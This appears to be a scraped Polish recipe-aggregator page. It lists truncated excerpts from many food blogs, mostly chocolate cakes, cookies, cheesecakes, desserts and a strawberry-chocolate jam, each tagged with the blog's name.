ciastko zawsze się udaje :) Masa mleczna: 200 g. masła 3 szklanki mleka w proszku 400 g. serka waniliowego homogenizowanego 1/2 szklanki cukru pudru Polewa czekoladowo - orzechowa: 1 czekolada mleczna 1 czekolada gorzka 3 łyżki mleka 100 g. orzeszków ziemnych (mogą być solone, ja użyłam niesolonych) Dodatkowo: 1 puszka masy krówkowej herbatniki typu petitki (u mnie ok. 80 sztuk małych) Masa(...)niej rozsmarować połowę masy mlecznej, przykryć warstwą herbatników. Następnie wyłożyć masę krówkową, przykryć warstwą herbatników, wyłożyć drugą połowę masy mlecznej i przykryć ją ostatnią warstwą herbatników. Polewa czekoladowo - orzechowa: czekolady połamać na kawałki i razem z mlekiem rozpuścić w kąpieli wodnej. Orzeszki posiekać lub podzielić na połówki, wymieszać z polewą i rozsmarować na wierzchu ciasta. Wszystko wstawić do lodówki. (adsbygoogle

Wilczkowy Świat - nasze codzienne gotowanie
Ciasto orzechowe cappuccino 210

pudru 2 łyżki żelatyny 1/2 szklanki gorącej wody Do naponczowania: 1/2 szklanki bardzo mocnej herbaty 1 plasterek cytryny Dodatkowo: 300 g gotowej masy kajmakowej (około 2/3 puszki) 1 gorzka czekolada Przygotowanie ciasta: Jajka włożyć do niewielkiej miski i zalać bardzo ciepłą wodą, żeby się ogrzały. Po kilku minutach jajka wytrzeć i oddzielić białka od żółtek. Białka ubić na sztywno(...)nią krem cappuccino. Przykryć drugą połową ciasta i wstawić do lodówki przynajmniej na 10 minut. Po tym czasie wierzch ciasta naponczować pozostałą herbatą i rozsmarować na nim masę kajmakową. Czekoladę pokruszyć na mniejsze kawałki i roztopić w metalowej miseczce ustawionej nad garnkiem z lekko gotującą się wodą. Dodać łyżkę śmietany, szybko i dokładnie wymieszać. Czekoladę nabierać na łyżkę i cienkim

Trzeci talerz
dżem truskawkowy z gorzką czekoladą 132

Dżem truskawkowy z gorzką czekoladą Co prawda nie jest to typowy wyrób, który przygotowuję na zimę i raczej służy do bieżącej konsumpcji.Wykorzystując okazję iż sezon na truskawki właśnie się zaczął, przygotowałem słuszną porcję tego smakowitego przetworu.  składniki 1 kg truskawek 100 g gorzkiej czekolady(...)ćwiartki i wrzucamy do garnka. Dodajemy cukier i żel fix. Po zagotowaniu trzymamy na palniku jeszcze 3-5 minut Zdejmujemy garnek z ognia i dodajemy pokruszone kawałki czekolady. Jeszcze gorący dżem wkładamy do wyparzonych słoików, zakręcamy nakrętki i układamy słoiki do góry dnem, zostawiając je na 12 godzin.  Następnie sprawdzamy szczelność zamknięcia i wstawiamy słoiki do spiżarki, lub spożywamy

Miód i pieprz
Czekoladki pomarańczowe 153

czekoladki dedykuję wszystkim Mamom z okazji ich święta i życzę wszystkiego najlepszego i dużo uśmiechu   :) Składniki: - 1/4 szklanki śmietany 30 % - 200 g gorzkiej czekolady - 2 łyżeczki skórki pomarańczowej - kakao Przygotowanie: Czekoladę drobno siekamy. Śmietanę doprowadzamy do wrzenia i zalewamy pokrojoną czekoladę. Mieszamy do połączenia a na koniec dodajemy skórkę pomarańczową. Masę wylewamy na płaską formę, odstawiamy

Zainspirowana w kuchni
ciasto z ptasim mleczkiem 591

lodówki, gdy galaretka całkowicie stężeje rozsmarowujemy pozostałą część masy i przykrywamy ciastem z bakaliami. Całość polewamy polewą czekoladową Odstawiamy najlepiej do następnego dnia. składniki na polewę czekoladową: 100 g czekolady deserowej 50 g masła wykonanie: Czekoladę łamiemy na kawałeczki i wkładamy do miseczki z masłem. Miseczkę umieszczamy na garnuszku z gotującą się wodą i czekamy, aż czekolada się rozpuści. Mieszamy

Domowy Smak Jedzenia
Ciasto Prince Polo 161

minut.  Masa: 1/2 litra mleka 3 łyżki mąki ziemniaczanej 3 łyżki mąki pszennej cukier waniliowy 7 żółtek Dodatkowo: 1 kostka masła 4 łyżki cukru pudru gorzka czekolada 2 łyżki mleka Z mleka odlać szklanka w której mieszamy obie mąki, jajka i cukier. Resztę mleka zagotować, do gotującego się przelewamy masę i gotujemy budyń. Studzimy. Masło ubijamy z cukrem pudrem(...)puszystą masę, do której dodajemy stopniowo budyń. Gorzką czekoladę rozpuszczamy w kąpieli wodnej z 2 łyżkami mleka, dodajemy do kremu budyniowego. Miksujemy do momentu połączenia się składników.  Przełożenie ciasta: biszkopt ciemny - masa - wkładka - masa - biszkopt ciemny - polewa czkoladowa (rozpuszczona czekolada

kruche babeczki
Słonecznikowiec 156

kajmakiem i karmelizowanym słonecznikiem, a na górze ubita śmietana bez cukru z dodatkiem kakao i posypane to wszystko również słonecznikiem. Pychota :) Inspiracja: klik Składniki ciasto czekoladowe: 300 g gorzkiej czekolady 190 g masła   6 jajek 160 g cukru 150 g maki pszennej 4 łyżeczki proszku do pieczenia Czekoladę łamiemy na kawałki i rozpuszczamy w kąpieli wodnej razem z masłem(...)Studzimy. Całe jajka ubijamy z cukrem na puszystą masę. Dalej miksując dodajemy stopniowo roztopioną czekoladę z masłem. Mąkę mieszamy z proszkiem do pieczenia, zmniejszamy obroty miksera i dodajemy stopniowo mąkę z proszkiem. Jak wszystko nam się połączy to masę przekładamy do blaszki 24x34 cm, którą wcześniej wyłożyłam papierem do pieczenia. Pieczemy w 180 stopniach ok. 25 - 30 minut. Studzimy

kruche babeczki
Nutella z kaszy jaglanej 148

tylko, że polecam :)))) Składniki na 1 słoiczek: 1/2 szklanki suchej kaszy jaglanej 1/2 szklanki mleka (może być roślinne) u mnie zwykłe 2 % 50 g orzechów laskowych 85 g gorzkiej czekolady miód  - wedle uznania (ja nie dawałam) Kaszę wsypujemy na sitko i płuczemy. Przesypujemy do rondelka i prażymy jakieś 2 minuty. Zalewamy 1 1/4 szklanki wody i gotujemy do momentu(...)kasza wchłonie całą wodę (często mieszamy, żeby kasza nam się nie przypaliła). Studzimy. Gorzką czekoladę roztapiamy w kąpieli wodnej, studzimy.  Kaszę, orzechy, czekoladę i mleko miksujemy na jednolitą masę (mleko ja dodawałam stopniowo, żeby masa nie wyszła nam za rzadka). Przekładamy do słoiczka i wkładamy do lodówki, żeby nam się składniki przegryzły

kruche babeczki
Szybki deser – jabłka, ciasto francuskie i gorzka czekolada 145

zabieganych, dla pragnących na szybko czegoś słodkiego, dla dzieci. Składniki: Opakowanie ciasta francuskiego (prostokątnego) 2 średnie jabłka cukier puder (u mnie z lekka brązowy, bo trzcinowy) parę kawałków gorzkiej czekolady (idealnie o jak największej zawartości kakao) – opcjonalnie, bo można po prostu wierzch posypać cukrem pudrem. Wykonanie: Ciasto francuskie podzielić wzdłuż na 4 równe pasy Jabłka obrać (nie jest(...)pieczenia, delikatnie przenieść nasze „róże” i wstawić do nagrzanego na 190 stop. C piekarnika (termoobieg). Piec 15 – 18 minut. Upieczone ciastko oprószyć delikatnie cukrem pudrem. Czekoladę rozpuścić w kąpieli wodnej i delikatnie polać nią wierzch „róży”. Szybie, smaczne, wystarczająco słodkie! I mały skutek uboczny czekoladowej kąpieli. Ale chociaż nikt się nie zorientuje które „maźnięcie

gutfut
Kruche maślane ciasteczka z czekoladą (jak pieguski)… 158

Domowe, pachnące na cały dom, jeszcze ciepłe ciastka po prostu nie mają sobie równych :) Do naszych ulubionych od zawsze należały ciasteczka owsiane i najlepsze pod słońcem ciastka z drobinkami czekolady z przepisu Nigelli. Uwielbiamy je i jadamy często (ok, może nawet… Continue reading Kruche maślane ciasteczka z czekoladą (jak pieguski

brunetkawkuchni
Murzynek z bakaliami i dżemem pieczony na kefirze 122

łyżki dżemu, 3 szklanki mąki, 1/2 szklanki cukru, 2 łyżki kakao, 2 łyżeczki sody oczyszczonej, 2 płaskie łyżeczki przyprawy do piernika, 50g rodzynek, 50g żurawiny, 1 tabliczka mlecznej czekolady, do dekoracji wiórki cytrynowe Sempre z Cukieteria.pl . PRZYGOTOWANIE: 1. Mąkę mieszam z cukrem, kakao, sodą i przyprawą korzenną. Kefir miksuję z olejem, jajkami i dżemem. Nie przerywając miksowania stopniowo dodaję suche(...)Masę wykładam na tortownicę o średnicy 26cm, wyłożoną papierem do pieczenia. Piekę około 60 minut w temperaturze 180 stopni (do suchego patyczka). Przestudzone ciasto wyjmuję z formy. 3. Czekoladę łamię na kostki i rozpuszczam nad kąpielą wodną. Czekoladę rozsmarowuję na cieście. Wierzch ciasta posypuję wiórkami cytrynowymi

Tradycyjna kuchnia Kasi
Welsh cakes - walijskie ciasteczka smażone (również w wersji pieczonej) 176

około 20-23 sztuk) 225g mąki pszennej (użyłam typu 405 ) 1 łyżeczka proszku do pieczenia (płaska) 50g masła 50g smalcu 75g cukru 1 jajko 2 łyżki mleka Dodatkowo: 50g czekolady Ponadto: olej do ciastek smażonych (użyłam kokosowego) Czekoladę zetrzeć na tarce o średnich oczkach. Wszystkie składniki zagnieść i połączyć z czekoladą. Ciasto rozwałkować na grubość 5 mm i wykrawać

Di gotuje
Biszkoptowa kostka adwokatowa 199

kremowa polewa.  Składniki: biszkopt z 5 jaj ( przepis tutaj ) 500g mascarpone 500g śmietanki kremówki 36% 250ml likieru adwokat 2 łyżki żelatyny 6 łyżek gorącej wody 200g białej czekolady (2 tabliczki) 2 łyżki masła Biszkopt przygotowujemy zgodnie z przepisem, studzimy. Żelatynę rozpuszczam w wodzie, odstawiamy do wystudzenia i napęcznienia. Kremówkę miksujemy na sztywną bitą śmietanę, pod koniec dodajemy po łyżce(...)koniec powoli wlewamy adwokat, dodajemy wystudzoną żelatynę i miksujemy jeszcze minutę. Masę wylewamy na ostudzony biszkopt, wstawiamy do lodówki na 3 godziny. Masło rozpuszczamy w kąpieli wodnej, dodajemy pokruszoną czekoladę i mieszamy do uzyskania polewy. Ciasto oblewamy przygotowaną czekoladą, wstawiamy do lodówki na 1- 1,5 godziny

Gotowanie i blogowanie
Sernik z masłem orzechowym i polewą czekoladową 482

szklanki cukru kokosowego lub trzcinowego 2 płaskie łyżki mąki ziemniaczanej 2/3 łyżeczki zmielonego cynamonu 1/2 łyżeczki zmielonego kardamonu Polewa: 50ml mleczka kokosowego lub śmietanki 36% 50-60g gorzkiej czekolady o zawartości kakao minimum 60% Dodatkowo: migdały do ozdoby     Spód: 1. Do miseczki przełożyć olej kokosowy, dodać zmielone daktyle i wymieszać mikserem ( patrz FILM ). Dodać wiórki kokosowe, wymieszać(...)około 50 minut. Po upieczeniu sernik wyjąć z piekarnika i odstawić do całkowitego ostygnięcia. Polewa: 6. Do rondelka wlać mleczko kokosowe i zagotować. Zdjąć z ognia i dodać połamaną czekoladę, mieszać, aż czekolada się roztopi. Gotową polewą udekorować sernik, wierzch posypać migdałami ( patrz FILM ). Sernik wstawić do lodówki na parę godzin. Udanych wypieków

Mała Cukierenka
Tarta Z MUsem Z MaRakui 162

masła 1 łyżka kwaśnej śmietany 1 żółtko mus z marakują: 4- 5 dojrzałych, pomarszczonych owoców marakui 1 kubek świeżego soku pomarańczowego (ew. soku 100% z kartonu) 1 tabliczka gorzkiej czekolady 5 dużych jaj 1 kubek cukru 1 kube k śmietanki 30% Przygotowanie: mąkę przesiewamy z solą do miski, dodajemy zimne masł o, ucieramy wbijamy żółtko i dodajemy śmietanę, owijamy folią(...)owoców marakui wydrążamy miąższ, zalewamy sokiem pomarańczowym, gotujemy na wolnym ogniu, aż całość zredukuje się o około połowę następnie przecieramy przez drobne sitko, aby pozbyć się pestek czekolad ę rozpuszczamy w kąpieli wodnej jajka ucieramy na puch stopniowo dosypując cukier , dolewamy ostudzony sok oraz śmietanę   ciasto wyjmujemy z lodówki i wałkujemy, przekładamy do formy na tartę, nakłuwamy i wstawiamy

Luźna Kuchnia
BABECZKI W KROPECZKI 105

babeczki nadziane suszoną żurawiną i czekoladą, do kawki idealne   SKŁADNIKI 1 szkl. mąki, 1 jajko, 1 łyżeczka proszku do pieczenia, 2 łyżki śmietany, 4 łyżki mleka, 4 łyżki oleju, 1 łyżka cukru pudru, 1/3 szkl. cukru, szczypta soli, ½ tabliczki gorzkiej czekolady, 2 łyżki suszonej żurawiny WYKONANIE Suche składniki łączymy w 1 misce, w drugiej misce łączymy mokre składniki(...)mokrych dodajemy suche składniki, dodajemy żurawinę i posiekaną czekoladę. Przekładamy do papilotek i pieczemy w nagrzanym piekarniku ok. 15-18 min w 180 stopniach

słodki bratek
Ciasteczka z czekoladą i migdałami. 106

Uwielbiam domowe wypieki , ciasta, ciasteczka, za kupnymi nie przepadam bo czuć w nich ulepszacze i chemię. Dzisiaj upiekłam ciasteczka z migdałami i czekoladą wg. przepisu Ani Starmach. Wyszły pyszne , chrupiące i mięciutkie:) Zapraszam do wypróbowania :) Składniki : 120 g miękkiego masła 1 cukier waniliowy 1 jajko 250 g mąki pszennej 1 łyżeczka sody 100 g gorzkiej czekolady 80 g cukru(...)mielonych nie do końca migdałów Wykonanie : Do miski przełożyć: masło, cukier, cukier waniliowy i jajko, wymieszać mikserem na gładką masę. Następnie dodać  przesianą z sodą mąkę i posiekaną czekoladę wymieszać ręką. Przełożyć na stolnicę i szybko zagnieść ciasto. Z ciasta formować kulki wielkości orzecha włoskiego lub troszkę większe, układać na wyłożoną papierem do pieczenia blaszkę. Piec w temperaturze

Sama słodycz i szczypta chili
KULECZKI RAFAELLO 121

przepis.  Składniki 3/4 szklanki wiórków kokosowych do masy  1/2 szklanki wiórków kokosowych do obtoczenia kulek   50 g masła  25 g cukru pudru  biała czekolada około 20 migdałów  Przygotowanie Migdały włóż do miski zalej gorącą wodą, odczekaj około 5 minut, obierz ze skórki. Czekoladę połam na małe kawałeczki i rozpuść w kąpieli wodnej(...)Mikserem utrzyj miękkie masło z cukrem pudrem, dodaj powoli roztopioną czekoladę cały czas mieszkając.  Wsyp do masy wiórka kokosowe i za pomocą łyżki delikatnie mieszaj. Masę włóż do lodówki na 30 minut.  Następnie formuj małe kuleczki, w środku umieść migdała i obtocz w kokosie

Kukuleczki
Ciasto Kinder Maxi King bez pieczenia + film 2246

typu Nutella) 1 szklanka mleka 1/2 szklanki cukru kryształu 400 g mleka w proszku ( nie granulowanego) 300 g masła 500 g masy kajmakowej polewa 1/4 szklanki mleka 200 g czekolady mlecznej 150 g dowolnych orzechów ( włoskich, nerkowca, laskowych) Przepis : Sucharki miksujemy w malakserze do uzyskania konsystencji bułki tartej. Zmiksowane sucharki wsypujemy do miski, dodajemy krem czekoladowy i wszystko dokładnie razem(...)kajmakową ( można ją lekko podgrzać ) rozsmarowujemy na masie mlecznej a bezpośrednio na masie kajmakowej rozprowadzamy pozostałą masę mleczną. Orzechy bardzo drobno siekamy. polewa Do garnka wlewamy mleko, dodajemy połamaną czekoladę i wszystko rozpuszczamy na bardzo małym płomieniu cały czas mieszając. Gdy polewa będzie idealnie gładka zdejmujemy garnek z ognia. Ciasto polewamy rozpuszczoną czekoladą i posypujemy posiekanymi orzechami. Tak przygotowane ciasto

Smakowite Dania
Rabarbarowy deser wiosenny 116

jałowca, 6-8 łyżek syropu z owoców czarnego bzu mus: cienko obrana skórka z cytryny, 1 łyżka miodu lipowego, cukier, sos czekoladowy: 50 g śmietany kremówki, 50 g deserowej czekolady, (syfon do bitej śmietany i 2 naboje) Rabarbar umyć, obrać, odłożyć dwa kawałki resztę pokroić w niewielkie kawałki. Włożyć do garnka, zalać gorącą wodą (tyle, aby przykryć rabarbar) i ugotować(...)pieczenia. Posypać jałowcem. Wstawić do piekarnika nagrzanego do 180 stopni na około 10 minut. Rabarbar powinien być lekko twardy. Na patelni rozgrzać syrop i przesmażyć na nim rabarbar. Sos: czekoladę posiekać, włożyć do garnuszka, wlać śmietanę i podgrzewać do rozpuszczenia czekolady. Mus: 350 przecieru z rabarbaru zagotować ze skórką cytrynową, aż ta zmięknie. Dodać miód i doprawić do smaku cukrem

królestwo garów
CZEKOLADOWE CIASTO Z CUKINIĄ 106

SKŁADNIKI 2 gorzkie czekolady 3 jajka 250 gr. mąki ryżowej 1/2 szklanki oleju ( ja dałam kokosowy) 400 gr. cukinii 2 łyżki kakao 150 gr.cukru trzcinowego płaska łyżeczka proszku do pieczenia pół łyżeczki sody sól Cukinię obieramy ze skórki i trzemy na grubej tarce. Posypujemy odrobiną soli i odstawiamy, żeby puściła wodę. Następnie czekoladę roztapiamy w kąpieli wodnej, kiedy już całkowicie(...)się rozpuści odstawiamy, aby przestygła. Żółtka ucieramy z cukrem na puszystą masę, dodajemy olej i ciągle miksując stopniowo wsypujemy mąkę, kakao, proszek do pieczenia, sodę i na końcu roztopioną czekoladę. Kiedy już wszystko nam się ładnie połączy dodajemy odciśniętą z wody cukinię i dokładnie mieszamy. Białka ubijamy na sztywną pianę i dodajemy do reszty składników delikatnie i dokładnie mieszając łyżką

harrisa
Kinder Country? - Jagielnik bez pieczenia 249

Kinder Country  i dokładnie już nie pamiętam jego smaku.  Zresztą...to nie ważne! Zrobiłam zdrowszą wersję zainspirowana dużą ilością przepisów na ten deser. ALE   2 mleczne czekolady, 2 białe czekolady i płatki Nestle kangus w  składzie zupełnie mi nie odpowiadały. Moja propozycja zawiera kaszę jaglaną, daktyle, orzeszki ziemne, płatki owsiane i orkisz ekspandowany (zamiast kangusów(...)dół wylądował na górze, choć w planie miał być wierzch czekoladowy. Czysta improwizacja!  Mistrzyni Mama? Tak jak i Ty  ♥ Inne przepisy z tej serii: Domowa czekolada Domowe monte Domowe raffaello Domowa granola Domowa nutella

lady-och-mistrzyni.blogspot.com
Pieguski z cytrynową nutą 152

było nie sięgnąć po jedno, drugie - czy trzecie ciastko.  Nutka cytryny dodatkowo nadała im niepowtarzalnego smaku oraz cudownego, świeżego aromatu. To idealne połączenie do rozpływającej się w ustach czekolady. Ciastka są lekko miękkie, po prostu pyszne! Koniecznie musicie spróbować!   (około 18-19 sztuk) 125g masła/margaryny 75g cukru 1 jajko (duże) 220g mąki pszennej 1 łyżeczka proszku(...)pieczenia 1/2 łyżeczki aromatu cytrynowego Dodatkowo: 90g czekolady (użyłam mlecznej)    Masło/margarynę utrzeć z cukrem do puszystości. Miksując - dodać jajko i aromat cytrynowy. Na końcu wsypać mąkę połączoną z proszkiem do pieczenia. Czekoladę posiekać (nie na drobno!) i wmieszać do jednolitej masy.  Z ciasta formować kulki o wielkości orzecha włoskiego. Każdą kuleczkę lekko spłaszczyć i ułożyć

Di gotuje
KOPIEC KRETA 157

Dziś na blogu przepis na jedno z najpopularniejszych ciast... kopiec kreta. Kakaowe ciasto z masą śmietanową z kawałkami czekolady i bananami swoim kształtem przypomina kopiec :)  Składniki: Na biszkopt: * 340 g mąki pszennej * 220 g cukru * 210 ml oleju * 250 ml mleka * 2 jajka * 1/2 łyżeczki sody oczyszczonej * 1 łyżeczka proszku do pieczenia * 4 łyżki kakao Masa śmietanowa(...)śmietany kremówki 36% * pół czekolady mlecznej startej na tarce o dużych oczkach * cukier puder do smaku Dodatkowo 5 bananów. Wykonanie: Biszkopt: Jajka utrzeć z cukrem. Wszystkie sypkie składniki przesiać przez sitko i wymieszać dokładnie ze sobą. Do jajek dodawać na przemian suche składniki, mleko i olej i na wolnych obrotach wszystko mieszać mikserem. Ciasto wylać do blaszki

Zrób to smacznie
Domowy budyń czekoladowy z bananami i włoskim ciasteczkiem 142

higher or lower depending on your calorie needs. Does this look wrong? Składniki na budyń 1 szklanka mleka (najlepiej tłustego) 1/2 szklanki śmietany kremówki 60 g mlecznej czekolady (można użyć innej lub pół na pół np. z gorzką) 1 łyżka mąki ziemniaczanej 60 g cukru pudru 35 g dobrego kakao 2 łyżki gorącej wody 1 łyżeczka ekstraktu z wanilii(...)kruche ciasteczka Barilla Mulino Bianco Campagnole ze sklepu SmakiPołudnia24.pl Przygotowanie W garnku do gotowania mleka (lub innym z grubym dnem) podgrzewamy mleko ze śmietanką. Odlewamy około 1/2 szklanki. Czekoladę drobno siekamy. W misce mieszamy mąkę ziemniaczaną, kakao i cukier puder. Następnie dodajemy 2 łyżki gorącej wody i około 1/2 szklanki podgrzanego mleka ze śmietanką (ilość "płynu" na wystarczyć do wymieszania

Słodkie okruszki
Czekoladowy sernik na zimno z galaretką o smaku coli (mrożony sernik czekoladowy) 174

się do mrożenia (mrożony sernik czekoladowy). (Tortownica o średnicy około 22 cm) Masa: 600g serka waniliowego 200 ml śmietany 30-36% 2 łyżki cukru 3 łyżki kakao 100g rozpuszczonej czekolady (użyłam mlecznej) 2,5 łyżki żelatyny rozpuszczonej w 1/4 szklanki wody Spód: 150g ciastek (oprócz kruchych użyłam herbatników w polewie czekoladowej) 40g masła 1 łyżka cukru 1 łyżka kakao Galaretka(...)łyżeczki żelatyny Przygotować spód. Wszystkie składniki dokładnie zmiksować, a następnie wklepać w dno tortownicy. Przygotować masę. Śmietankę ubić na sztywno. Serek wymieszać z cukrem, kakao, rozpuszczoną (w kąpieli wodnej) (*) czekoladą i delikatnie połączyć ze sztywną kremówką. Do masy dodać ostudzoną żelatynę i po uzyskaniu jednolitej konsystencji - przelać na ciasteczkowy spód. Całość schłodzić w lodówce - przez około 4 godziny. Przygotować galaretkę

Di gotuje
Ciasto czekoladowo-bananowe Fit (wegańskie, bez glutenu, laktozy i cukru) 567

bananów ze skórką) 150 g suszonych daktyli 200 g mąki ryżowej 50 g ciemnego kakao 120 ml oleju kokosowego lub oleju z pestek winogron 100 g gorzkiej czekolady o dużej zawartości kakao (najlepiej 70%) 60 g drobnych rodzynek 1 łyżka soku z cytryny  1 łyżeczka cynamonu 2 łyżeczki ekstraktu z wanilii 1  i 1/2 łyżeczki proszku do pieczenia(...)wiórkami kokosowymi. Piekarnik rozgrzać do temperatury 175°C. Masę bananową przelać do miski. Stopniowo wsypywać suche składniki mieszając dokładnie masę dużą łyżką lub szpatułką. Wlać ekstrakt z wanilii, wymieszać. Czekoladę posiekać na mniejsze kawałki i dodać do masy. Dodać rodzynki. Całość dokładnie wymieszać. Przełożyć ciasto do przygotowanej foremki, wygładzić wierzch. Wierzch ciasta posypać obficie wiórkami kokosowymi. Piec około 50 minut

maniapieczenia
Kokosanki – makaroniki kokosowe 236

piecu i czy czasem już nie pora by je wyjąć. Gotowe upieczone ciasteczka studzimy na kratce, żeby wilgoć szybko z nich odparowała. Z wierzchu można polać je rozpuszczoną czekoladą i ozdobić płatkami migdałowymi i wiórkami czekolady – nabiorą bardziej eleganckiego charakteru. SKŁADNIKI 250g wiórek kokosowych 2 /+ 1 na zapas/ białka jajek M 100-130g drobnego białego cukru 2 pełne łyżki(...)lekkim czubkiem) dowolnej mąki – pszennej, kokosowej, ryżowej 1/4 łyżeczki soli ½ łyżeczki aromatu waniliowego lub migdałowego DO DEKORACJI 2/3 tabliczki czekolady, rozpuszczonej płatki migdałowe płatki czekoladowe

Karo in the Kitchen
Błyskawiczny deser owocowy z lodami + film 184

Puchar lodowy z owocami, sezamkami i startą czekoladą to pełen pyszności, doskonały pomysł na słodki deser. Błyskawiczny i prosty w przygotowaniu, idealny przysmak dla najmłodszych, na wyjątkowe okazje.       składniki na 3 porcje : 400 g truskawek 3 kiwi 150 g sezamków 3 gałki lodów waniliowych przepis na lody 50 g mlecznej czekolady Przepis : Sezamki siekamy na mniejsze kawałki(...)truskawki układamy na sezamkach, jedna obok drugiej dookoła pucharków a do środka wrzucamy pokrojone kiwi. Na owocach kładziemy gałkę lodów. Gotowy deser dekorujemy startą na tarce o małych oczkach czekoladą.     Artykuł Błyskawiczny deser owocowy z lodami + film pochodzi z serwisu Smakowite Dania

Smakowite Dania
CHRUPIĄCE CIASTECZKA OWSIANE 139

dodatku białego cukru, bez pszenicy. Idealne na drugie śniadanie do szkoły, pracy, na uczelnię..., ale nie tylko. Ja swoje przygotowałam z dodatkiem orzeszków, do połowy ciasta dodałam także pokruszoną czekoladę z jajka niespodzianki (tu już niestety cukier był... ale za to ten smak...), obydwie wersje były przepyszne. Baaardzo chrupiące i bardzo wciągające. Zasmakowały także dzieciom, a to najistotniejsze. Inspiracją był(...)łyżka ksylitolu z wanilią lub cukier waniliowy - 1/2 łyżeczki sody - 1/2 szklanki posiekanych bakalii (ja dałam 1/4 szklanki posiekanych nerkowców, do połowy masy dodałam także połamaną na mniejsze kawałki czekoladę z jajka niespodzianki) W misie miksera ucieramy miękkie masło z dodatkiem cukru trzcinowego, ksylitolu i ksylitolu z wanilią (lub cukrem waniliowym) na puch. Następnie dodajemy jajko, masę ucieramy. Dodajemy partiami

Smaczne Zdrowe
Serowe ciasteczka z cukrem 131

słodkości… Nie ma nic piękniejszego niż takie wspólnie spędzone chwile. Dziś zapraszam Was na serowe ciasteczka z cukrem. Pyszne małe co nieco idealne zwłaszcza w towarzystwie kubka gorącej czekolady… mniam… Takie ciasteczka sprawdzą się wspaniale na co dzień i Święta. Spróbujcie. Serowe ciasteczka z cukrem Serowe ciasteczka z cukrem 2016-05-01 21:33:25 Write(...)mnie 82% tłuszczu) 1/3 łyżeczki mieszanki przypraw Deluxe jabłko i cynamon - do nabycia w Lidl 1 jajko klasy M gruby cukier do posypania ciasteczek propozycja podania: z gorącą czekoladą Deluxe "Hot Chocolate Madagascar" - do nabycia w Lidl * zamiast wskazanej przypraw można użyć np. cukru z wanilią itp. Przygotowanie Do miski wsypujemy 200 g mąki pszennej. Następnie dodajemy twaróg, rozdrabniając

Słodkie okruszki
Czekoladowy deser z malinami 136

Jeśli jesteście miłośnikami czekolady to zapraszam. Nie miałam czasu na upieczenie ciasta, ale zrobiłam bardzo czekoladowy deser z malinami. Oczywiście można wykorzystać dowolne owoce np. truskawki, kiwi, pomarańcze .... No cóż, takie smakołyki zawsze szybko znikają i jutro pewnie upiekę jakieś ciacho. A może czekoladowe :) Hi hi Składniki 2 płaskie łyżki  mąki pszennej 3 płaskie łyżki kakao 80 g cukru(...)mąki ziemniaczanej 1,5 szklanki mleka 50 g czekolady mlecznej 200 ml śmietany kremówki Do rondelka wsypać mąkę pszenną, kakao,cukier,mąkę ziemniaczaną i wszystko dokładnie wymieszać. Stopniowo wlewać mleko i mieszać. Gdy wszystkie składniki się połączą zagotować stale mieszając, aż powstanie nam gęsty budyń. Odstawić z ognia i dodać pokruszoną czekoladę i wymieszać aż się rozpuści. Wlać śmietanę

O kuchni z uczuciem
Rolada Żyrafa 276

szklanki cukru pudru 3/4 szklanki mąki 1/4 szklanki mąki ziemniaczanej 2 łyżki kakao Masa straciatella: 0,5 litra śmietany 30% 2 łyżki żelatyny 2 łyżki cukru pudru 1 tabliczka czekolady deserowej (adsbygoogle = window.adsbygoogle || []).push({}); Biszkopt : białka ubić na sztywno, pod koniec ubijania dodawać partiami cukier, a gdy już się ubije dodawać po jednym żółtku. Mąkę pszenną i ziemniaczaną przesiać, dodać(...)Piec 12 minut. Ciepły blat biszkoptowy zwinąć w roladę i pozostawić do ostudzenia. Masa straciatella : żelatynę rozpuścić w małej ilości wody, pozostawić do ostudzenia - ma być letnia i lejąca. Czekoladę połamać w drobne kawałki i posiekać nożem lub rozdrobnić w malakserze. Śmietanę ubić na sztywno, pod koniec ubijania dodać cukier puder, żelatynę i pokruszoną czekoladę. Wymieszać dokładnie. Ostudzoną roladę delikatnie

Wilczkowy Świat - nasze codzienne gotowanie
Sernikobrownies z malinami 319

Ciasto na niedzielę w tym tygodniu to sernikobrownies z malinami. Pyszne, słodkie i mocno kaloryczne sernikobrownies. Czekolada i twaróg to świetna para. Dwa ulubione ciasta, sernik i brownie w jednym. Podobne ciasto robię z masłem arachidowym. Spróbujcie! Sernikobrownies Składniki: Brownie 60 g masła 100 g mąki pszennej 2 jajka 100 g czekolady 150 g cukru ½ łyżeczki proszku do pieczenia szczypta(...)pokojowej temperaturze 50 g malin Nastaw piekarnik na 160ºC na termoobieg (bez termoobiegu 10 stopni więcej). Małą foremkę, u mnie o boku 15 cm wyłóż papierem do pieczenia. Rozpuść czekoladę i masło w kąpieli wodnej. Przestudź lekko po czym dodaj jajka i mąkę wymieszaną z cukrem, proszkiem do pieczenia i solą. Wymieszaj wszystko na gładką masę i przełóż do formy

codojedzenia
Ciasto Kopiec Kreta 1080

Bardzo znane ciasto o wyrafinowanym, niebanalnym smaku. Składa się z wilgotnego czekoladowego ciasta nasączonego herbatą, słodkich bananów i puszystej bitej śmietany ze startą czekoladą. To wszystko ułożone jest na wzór kopca kreta. Wiem, że w sklepach dostępne są gotowce, ale nie polecam im Wam. Lepiej przygotować ciasto od A do Z we własnym domu, może z dziećmi?? :) Na pewno(...)mąki pszennej (ok. 1 szkl) 2 jajka w temperaturze pokojowej   Masa śmietanowa: 400 g schłodzonej śmietany kremówki 30% 3 łyżki cukru pudru 60 g startej gorzkiej czekolady 2 łyżeczki żelatyny 4 łyżki zimnej wody   Poncz: kilka łyżek herbaty z cytryną i miodem   Dodatkowo: 3 duże banany sok z cytryny do skropienia bananów     Przygotowanie

Nastoletnie Wypiekanie
Wafle imbirowe 131

imbirowe. Są szybkie i łatwe do przygotowania. Każdemu będą smakować. Polecam!!!  SKŁADNIKI: 1 opakowanie wafli kwadratowych, 1 puszka masy kajmakowej, 1 czubata łyżeczka mielonego imbiru, 1 tabliczka mlecznej czekolady, czekoladowe kuleczki do dekoracji. PRZYGOTOWANIE: 1. Masę kajmakową przekładam z puszki do miseczki. Dodaję mielony imbir i dokładnie mieszam.  2. Na jednym z wafli rozsmarowuję cienką warstwę masy. Przykrywam(...)następnym waflem. Czynność powtarzam, aż do wyczerpania składników. Wafle dociskam i odstawiam na około 3 godziny w chłodne miejsce. Następnie wafle kroję na trójkąty. 3. Czekoladę łamię na kostki i rozpuszczam nad kąpielą wodną. Rozpuszczoną czekoladą robię na ciastkach esy floresy. Gotowe ciasteczka posypuję czekoladową posypką

Tradycyjna kuchnia Kasi
Babeczki buraczano -czekoladowe. 195

